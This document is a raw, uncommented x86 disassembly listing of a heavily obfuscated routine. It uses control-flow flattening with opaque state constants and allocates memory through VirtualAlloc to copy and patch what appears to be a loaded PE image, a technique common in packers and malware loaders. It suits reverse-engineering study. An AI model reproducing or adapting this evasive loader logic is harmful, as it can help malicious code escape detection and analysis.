mov dword [ebp - 0xb0], edx
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov edx, dword [ebp - 0xa0]
mov edx, dword [edx + 0x23]
shl edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0xa0]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0x94]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
mov ecx, 0x738efab0
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
sete bl
and bl, 1
mov byte [ebp - 0x87], bl
mov dword [ebp - 0xec], ecx
jmp 0x429d27
mov eax, 0xdac24863
mov ecx, 0xfcd020b4
mov dl, byte [ebp - 0x87]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x1ca2aab
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0xe80cd118
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov eax, 0x331a6f98
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x401ab380
mov ecx, dword [ebp - 0xa4]
cmp dword [ecx + 8], 0
setne dl
and dl, 1
mov byte [ebp - 0x86], dl
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0xd1bddaf7
mov ecx, 0xb5f8637c
mov dl, byte [ebp - 0x86]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 8]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov eax, 0x7bb226f4
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x777276f7
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xa4]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xe8]
add ecx, 0xafb15f7a
add ecx, edx
sub ecx, 0xafb15f7a
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0xec], 0x397d60e2
jmp 0x429d27
mov eax, 0xd2c69eda
mov ecx, 0x9485618a
mov edx, dword [ebp - 0xc8]
cmp edx, dword [ebp - 0x94]
cmovb eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xc8]
add eax, 0xe824dc58
add eax, ecx
sub eax, 0xe824dc58
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx + 0x1f]
mov edx, dword [ebp - 0xa8]
mov esi, esp
mov dword [ebp - 0x5c], 0xdbd078f0
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x380], edx
mov dword [ebp - 0x384], esi
mov eax, dword [ebp - 0x5c]
mov ecx, eax
sub ecx, 0x9293581c
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x38c], ecx
jg 0x42867b
jmp 0x42865f
mov eax, dword [ebp - 0x388]
sub eax, 0x839fe7ad
mov dword [ebp - 0x390], eax
je 0x428a0d
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0xa1a61dbb
mov dword [ebp - 0x394], eax
jg 0x4286b3
jmp 0x428697
mov eax, dword [ebp - 0x388]
sub eax, 0x9293581d
mov dword [ebp - 0x398], eax
je 0x428a47
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x6d9fd407
mov dword [ebp - 0x39c], eax
jg 0x4288e3
jmp 0x4286cf
mov eax, dword [ebp - 0x388]
sub eax, 0xad1e427b
mov dword [ebp - 0x3a0], eax
jg 0x428707
jmp 0x4286eb
mov eax, dword [ebp - 0x388]
sub eax, 0xa1a61dbc
mov dword [ebp - 0x3a4], eax
je 0x4289c6
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0xda8a090a
mov dword [ebp - 0x3a8], eax
jg 0x42873f
jmp 0x428723
mov eax, dword [ebp - 0x388]
sub eax, 0xad1e427c
mov dword [ebp - 0x3ac], eax
je 0x428a19
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0xdbd078ef
mov dword [ebp - 0x3b0], eax
jg 0x428777
jmp 0x42875b
mov eax, dword [ebp - 0x388]
sub eax, 0xda8a090b
mov dword [ebp - 0x3b4], eax
je 0x42899b
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0xe6d60599
mov dword [ebp - 0x3b8], eax
jg 0x4287af
jmp 0x428793
mov eax, dword [ebp - 0x388]
sub eax, 0xdbd078f0
mov dword [ebp - 0x3bc], eax
je 0x428904
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0xf160b638
mov dword [ebp - 0x3c0], eax
jg 0x4287e7
jmp 0x4287cb
mov eax, dword [ebp - 0x388]
sub eax, 0xe6d6059a
mov dword [ebp - 0x3c4], eax
je 0x428b35
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x15fb83a8
mov dword [ebp - 0x3c8], eax
jg 0x42881f
jmp 0x428803
mov eax, dword [ebp - 0x388]
sub eax, 0xf160b639
mov dword [ebp - 0x3cc], eax
je 0x428a25
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x489d72d9
mov dword [ebp - 0x3d0], eax
jg 0x428857
jmp 0x42883b
mov eax, dword [ebp - 0x388]
sub eax, 0x15fb83a9
mov dword [ebp - 0x3d4], eax
je 0x428a68
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x5c940abe
mov dword [ebp - 0x3d8], eax
jg 0x42888f
jmp 0x428873
mov eax, dword [ebp - 0x388]
sub eax, 0x489d72da
mov dword [ebp - 0x3dc], eax
je 0x4289ed
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x5c940abf
mov dword [ebp - 0x3e0], eax
je 0x4289a7
jmp 0x4288ab
mov eax, dword [ebp - 0x388]
sub eax, 0x600f0277
mov dword [ebp - 0x3e4], eax
je 0x428a53
jmp 0x4288c7
mov eax, dword [ebp - 0x388]
sub eax, 0x607ea6b6
mov dword [ebp - 0x3e8], eax
je 0x428910
jmp 0x4288ff
mov eax, dword [ebp - 0x388]
sub eax, 0x6d9fd408
mov dword [ebp - 0x3ec], eax
je 0x428b0a
jmp 0x4288ff
jmp 0x428b30
mov dword [ebp - 0x5c], 0x607ea6b6
jmp 0x428b30
mov eax, 4
mov dword [ebp - 0x3f0], eax
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x3f0]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3f0]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x3f0]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x3f0]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x378]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x37c]
mov dword [eax], edx
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x380]
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [ebp - 0x5c], 0xda8a090b
jmp 0x428b30
mov dword [ebp - 0x5c], 0x5c940abf
jmp 0x428b30
mov eax, 0x600f0277
mov ecx, 0xa1a61dbc
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov esi, dword [ebp - 0x50]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x5c], eax
jmp 0x428b30
mov eax, 0x839fe7ad
mov ecx, 0x489d72da
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov esi, dword [ebp - 0x4c]
mov esi, dword [esi]
mov edx, dword [esi + edx*8]
mov esi, dword [ebp - 0x54]
cmp edx, dword [esi]
cmove eax, ecx
mov dword [ebp - 0x5c], eax
jmp 0x428b30
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov dword [ebp - 0x5c], 0xe6d6059a
jmp 0x428b30
mov dword [ebp - 0x5c], 0xad1e427c
jmp 0x428b30
mov dword [ebp - 0x5c], 0xf160b639
jmp 0x428b30
mov eax, 0
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov dword [ebp - 0x5c], 0x9293581d
jmp 0x428b30
mov dword [ebp - 0x5c], 0x5c940abf
jmp 0x428b30
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov dword [ebp - 0x5c], 0xe6d6059a
jmp 0x428b30
mov eax, 4
mov dword [ebp - 0x3f4], eax
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x3f8], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x3fc], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x400], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x404], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x3fc]
mov edx, dword [ebp - 0x378]
mov dword [ecx], edx
mov esi, dword [ebp - 0x400]
mov edi, dword [ebp - 0x37c]
mov dword [esi], edi
mov ebx, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x380]
mov dword [ebx], ecx
mov dword [eax], 0
mov dword [ebp - 0x5c], 0x607ea6b6
jmp 0x428b30
mov eax, 0
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov dword [ebp - 0x5c], 0xf160b639
jmp 0x42863d
mov eax, 0xbc8c8fd8
mov ecx, 0xdf6ff1fa
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
mov esi, dword [ebp - 0x384]
mov esp, esi
mov dword [ebp - 0xac], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 4]
mov edx, dword [ebp - 0xe8]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
mov ecx, eax
sub ecx, esi
mov dword [ebp - 0xe0], ecx
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xc0]
mov esi, dword [ebp - 0xc8]
mov edi, eax
sub edi, esi
sub edx, edi
mov esi, eax
sub esi, 4
sub edx, esi
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0xc0]
mov esi, dword [ebp - 0xc8]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xc8]
sub ecx, 0x14e201dd
add ecx, 4
add ecx, 0x14e201dd
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebp - 0xd4]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xec], 0x397d60e2
jmp 0x429d27
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0xb0]
mov esi, esp
mov dword [ebp - 0x44], 0xdbd078f0
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x410], edx
mov dword [ebp - 0x414], esi
mov eax, dword [ebp - 0x44]
mov ecx, eax
sub ecx, 0x9293581c
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], ecx
jg 0x428c79
jmp 0x428c5d
mov eax, dword [ebp - 0x418]
sub eax, 0x839fe7ad
mov dword [ebp - 0x420], eax
je 0x42900b
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0xa1a61dbb
mov dword [ebp - 0x424], eax
jg 0x428cb1
jmp 0x428c95
mov eax, dword [ebp - 0x418]
sub eax, 0x9293581d
mov dword [ebp - 0x428], eax
je 0x429045
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x6d9fd407
mov dword [ebp - 0x42c], eax
jg 0x428ee1
jmp 0x428ccd
mov eax, dword [ebp - 0x418]
sub eax, 0xad1e427b
mov dword [ebp - 0x430], eax
jg 0x428d05
jmp 0x428ce9
mov eax, dword [ebp - 0x418]
sub eax, 0xa1a61dbc
mov dword [ebp - 0x434], eax
je 0x428fc4
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0xda8a090a
mov dword [ebp - 0x438], eax
jg 0x428d3d
jmp 0x428d21
mov eax, dword [ebp - 0x418]
sub eax, 0xad1e427c
mov dword [ebp - 0x43c], eax
je 0x429017
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0xdbd078ef
mov dword [ebp - 0x440], eax
jg 0x428d75
jmp 0x428d59
mov eax, dword [ebp - 0x418]
sub eax, 0xda8a090b
mov dword [ebp - 0x444], eax
je 0x428f99
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0xe6d60599
mov dword [ebp - 0x448], eax
jg 0x428dad
jmp 0x428d91
mov eax, dword [ebp - 0x418]
sub eax, 0xdbd078f0
mov dword [ebp - 0x44c], eax
je 0x428f02
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0xf160b638
mov dword [ebp - 0x450], eax
jg 0x428de5
jmp 0x428dc9
mov eax, dword [ebp - 0x418]
sub eax, 0xe6d6059a
mov dword [ebp - 0x454], eax
je 0x42912d
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x15fb83a8
mov dword [ebp - 0x458], eax
jg 0x428e1d
jmp 0x428e01
mov eax, dword [ebp - 0x418]
sub eax, 0xf160b639
mov dword [ebp - 0x45c], eax
je 0x429023
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x489d72d9
mov dword [ebp - 0x460], eax
jg 0x428e55
jmp 0x428e39
mov eax, dword [ebp - 0x418]
sub eax, 0x15fb83a9
mov dword [ebp - 0x464], eax
je 0x429066
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x5c940abe
mov dword [ebp - 0x468], eax
jg 0x428e8d
jmp 0x428e71
mov eax, dword [ebp - 0x418]
sub eax, 0x489d72da
mov dword [ebp - 0x46c], eax
je 0x428feb
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x5c940abf
mov dword [ebp - 0x470], eax
je 0x428fa5
jmp 0x428ea9
mov eax, dword [ebp - 0x418]
sub eax, 0x600f0277
mov dword [ebp - 0x474], eax
je 0x429051
jmp 0x428ec5
mov eax, dword [ebp - 0x418]
sub eax, 0x607ea6b6
mov dword [ebp - 0x478], eax
je 0x428f0e
jmp 0x428efd
mov eax, dword [ebp - 0x418]
sub eax, 0x6d9fd408
mov dword [ebp - 0x47c], eax
je 0x429108
jmp 0x428efd
jmp 0x429128
mov dword [ebp - 0x44], 0x607ea6b6
jmp 0x429128
mov eax, 4
mov dword [ebp - 0x480], eax
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x480]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x480]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x480]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x480]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x408]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x40c]
mov dword [eax], edx
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x410]
mov dword [eax], esi
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov dword [ebp - 0x44], 0xda8a090b
jmp 0x429128
mov dword [ebp - 0x44], 0x5c940abf
jmp 0x429128
mov eax, 0x600f0277
mov ecx, 0xa1a61dbc
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
mov esi, dword [ebp - 0x38]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x429128
mov eax, 0x839fe7ad
mov ecx, 0x489d72da
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
mov esi, dword [ebp - 0x34]
mov esi, dword [esi]
mov edx, dword [esi + edx*8]
mov esi, dword [ebp - 0x3c]
cmp edx, dword [esi]
cmove eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x429128
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
mov dword [ebp - 0x44], 0xe6d6059a
jmp 0x429128
mov dword [ebp - 0x44], 0xad1e427c
jmp 0x429128
mov dword [ebp - 0x44], 0xf160b639
jmp 0x429128
mov eax, 0
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x44], 0x9293581d
jmp 0x429128
mov dword [ebp - 0x44], 0x5c940abf
jmp 0x429128
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov dword [ebp - 0x44], 0xe6d6059a
jmp 0x429128
mov eax, 4
mov dword [ebp - 0x484], eax
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x488], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x48c], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x490], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x494], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x48c]
mov edx, dword [ebp - 0x408]
mov dword [ecx], edx
mov esi, dword [ebp - 0x490]
mov edi, dword [ebp - 0x40c]
mov dword [esi], edi
mov ebx, dword [ebp - 0x494]
mov ecx, dword [ebp - 0x410]
mov dword [ebx], ecx
mov dword [eax], 0
mov dword [ebp - 0x44], 0x607ea6b6
jmp 0x429128
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
add eax, 0x76cae6cf
add eax, 1
sub eax, 0x76cae6cf
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov dword [ebp - 0x44], 0xf160b639
jmp 0x428c3b
mov eax, 0x76c5cab8
mov ecx, 0x5b3a8916
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
mov esi, dword [ebp - 0x414]
mov esp, esi
mov dword [ebp - 0xac], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xe8]
sub ecx, 0xc6239df0
add ecx, edx
mov ecx, dword [ecx - 0x39dc6210]
mov dword [ebp - 0xe4], ecx
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xc0]
mov esi, dword [ebp - 0xc8]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xc8]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
mov ecx, eax
sub ecx, edx
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebp - 0xd8]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xec], 0x397d60e2
jmp 0x429d27
mov dword [ebp - 0xec], 0xb644ec3f
jmp 0x429d27
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xb8]
mov esi, esp
mov dword [ebp - 0x2c], 0xfc27ab05
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x4a0], edx
mov dword [ebp - 0x4a4], esi
mov eax, dword [ebp - 0x2c]
mov ecx, eax
sub ecx, 0xa605e8ef
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4ac], ecx
jg 0x429264
jmp 0x429248
mov eax, dword [ebp - 0x4a8]
sub eax, 0x85399d42
mov dword [ebp - 0x4b0], eax
je 0x429779
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0xd440f734
mov dword [ebp - 0x4b4], eax
jg 0x42929c
jmp 0x429280
mov eax, dword [ebp - 0x4a8]
sub eax, 0xa605e8f0
mov dword [ebp - 0x4b8], eax
je 0x429791
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0xe6b9e1bc
mov dword [ebp - 0x4bc], eax
jg 0x4292d4
jmp 0x4292b8
mov eax, dword [ebp - 0x4a8]
sub eax, 0xd440f735
mov dword [ebp - 0x4c0], eax
je 0x4298b1
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x7900eb01
mov dword [ebp - 0x4c4], eax
jg 0x42961c
jmp 0x4292f0
mov eax, dword [ebp - 0x4a8]
sub eax, 0x75eb5703
mov dword [ebp - 0x4c8], eax
jg 0x429600
jmp 0x42930c
mov eax, dword [ebp - 0x4a8]
sub eax, 0x6f1f83a3
mov dword [ebp - 0x4cc], eax
jg 0x4295e4
jmp 0x429328
mov eax, dword [ebp - 0x4a8]
sub eax, 0x60841a65
mov dword [ebp - 0x4d0], eax
jg 0x4295c8
jmp 0x429344
mov eax, dword [ebp - 0x4a8]
sub eax, 0x5929f41f
mov dword [ebp - 0x4d4], eax
jg 0x4295ac
jmp 0x429360
mov eax, dword [ebp - 0x4a8]
sub eax, 0x4c88fa4c
mov dword [ebp - 0x4d8], eax
jg 0x429590
jmp 0x42937c
mov eax, dword [ebp - 0x4a8]
sub eax, 0x4148f8e8
mov dword [ebp - 0x4dc], eax
jg 0x429574
jmp 0x429398
mov eax, dword [ebp - 0x4a8]
sub eax, 0x412f7dbd
mov dword [ebp - 0x4e0], eax
jg 0x429558
jmp 0x4293b4
mov eax, dword [ebp - 0x4a8]
sub eax, 0x3e18ef84
mov dword [ebp - 0x4e4], eax
jg 0x42953c
jmp 0x4293d0
mov eax, dword [ebp - 0x4a8]
sub eax, 0x3776158d
mov dword [ebp - 0x4e8], eax
jg 0x429520
jmp 0x4293ec
mov eax, dword [ebp - 0x4a8]
sub eax, 0x327822e5
mov dword [ebp - 0x4ec], eax
jg 0x429504
jmp 0x429408
mov eax, dword [ebp - 0x4a8]
sub eax, 0x429165e
mov dword [ebp - 0x4f0], eax
jg 0x4294e8
jmp 0x429424
mov eax, dword [ebp - 0x4a8]
sub eax, 0x241e644
mov dword [ebp - 0x4f4], eax
jg 0x4294cc
jmp 0x429440
mov eax, dword [ebp - 0x4a8]
sub eax, 0xd510d5
mov dword [ebp - 0x4f8], eax
jg 0x4294b0
jmp 0x42945c
mov eax, dword [ebp - 0x4a8]
sub eax, 0xe6b9e1bd
mov dword [ebp - 0x4fc], eax
je 0x4298e6
jmp 0x429478
mov eax, dword [ebp - 0x4a8]
sub eax, 0xe6d1f5b2
mov dword [ebp - 0x500], eax
je 0x429649
jmp 0x429494
mov eax, dword [ebp - 0x4a8]
sub eax, 0xfc27ab05
mov dword [ebp - 0x504], eax
je 0x42963d
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0xd510d6
mov dword [ebp - 0x508], eax
je 0x4298d1
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x241e645
mov dword [ebp - 0x50c], eax
je 0x4296ff
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x429165f
mov dword [ebp - 0x510], eax
je 0x4296d4
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x327822e6
mov dword [ebp - 0x514], eax
je 0x4297e8
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x3776158e
mov dword [ebp - 0x518], eax
je 0x4297c8
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x3e18ef85
mov dword [ebp - 0x51c], eax
je 0x429785
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x412f7dbe
mov dword [ebp - 0x520], eax
je 0x42974d
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x4148f8e9
mov dword [ebp - 0x524], eax
je 0x4297b3
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x4c88fa4d
mov dword [ebp - 0x528], eax
je 0x42970b
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x5929f420
mov dword [ebp - 0x52c], eax
je 0x4296e0
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x60841a66
mov dword [ebp - 0x530], eax
je 0x429759
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x6f1f83a4
mov dword [ebp - 0x534], eax
je 0x42988a
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x75eb5704
mov dword [ebp - 0x538], eax
je 0x429732
jmp 0x429638
mov eax, dword [ebp - 0x4a8]
sub eax, 0x7900eb02
mov dword [ebp - 0x53c], eax
je 0x4297d4
jmp 0x429638
jmp 0x4298e1
mov dword [ebp - 0x2c], 0xe6d1f5b2
jmp 0x4298e1
mov eax, 4
mov dword [ebp - 0x540], eax
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x540]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x540]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x540]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x540]
call fcn.0041af70
mov eax, esp
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x498]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x49c]
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x4a0]
mov dword [eax], esi
mov eax, dword [ebp - 0x18]
mov dword [eax], 0
mov dword [ebp - 0x2c], 0x429165f
jmp 0x4298e1
mov dword [ebp - 0x2c], 0x5929f420
jmp 0x4298e1
mov eax, 0x4148f8e9
mov ecx, 0x241e645
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x2c], eax
jmp 0x4298e1
mov dword [ebp - 0x2c], 0x4c88fa4d
jmp 0x4298e1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*8]
mov ecx, dword [ebp - 0x24]
cmp eax, dword [ecx]
sete dl
and dl, 1
mov byte [ebp - 0x11], dl
mov dword [ebp - 0x2c], 0x75eb5704
jmp 0x4298e1
mov eax, 0x3e18ef85
mov ecx, 0x412f7dbe
mov dl, byte [ebp - 0x11]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x2c], eax
jmp 0x4298e1
mov dword [ebp - 0x2c], 0x60841a66
jmp 0x4298e1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0x2c], 0x85399d42
jmp 0x4298e1
mov dword [ebp - 0x2c], 0x3776158e
jmp 0x4298e1
mov dword [ebp - 0x2c], 0xa605e8f0
jmp 0x4298e1
mov eax, 0
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
mov dword [ebp - 0x2c], 0x5929f420
jmp 0x4298e1
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [ebp - 0x2c], 0x3776158e
jmp 0x4298e1
mov dword [ebp - 0x2c], 0x7900eb02
jmp 0x4298e1
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], 0xe6b9e1bd
jmp 0x4298e1
mov eax, 4
mov dword [ebp - 0x544], eax
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x548], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x544]
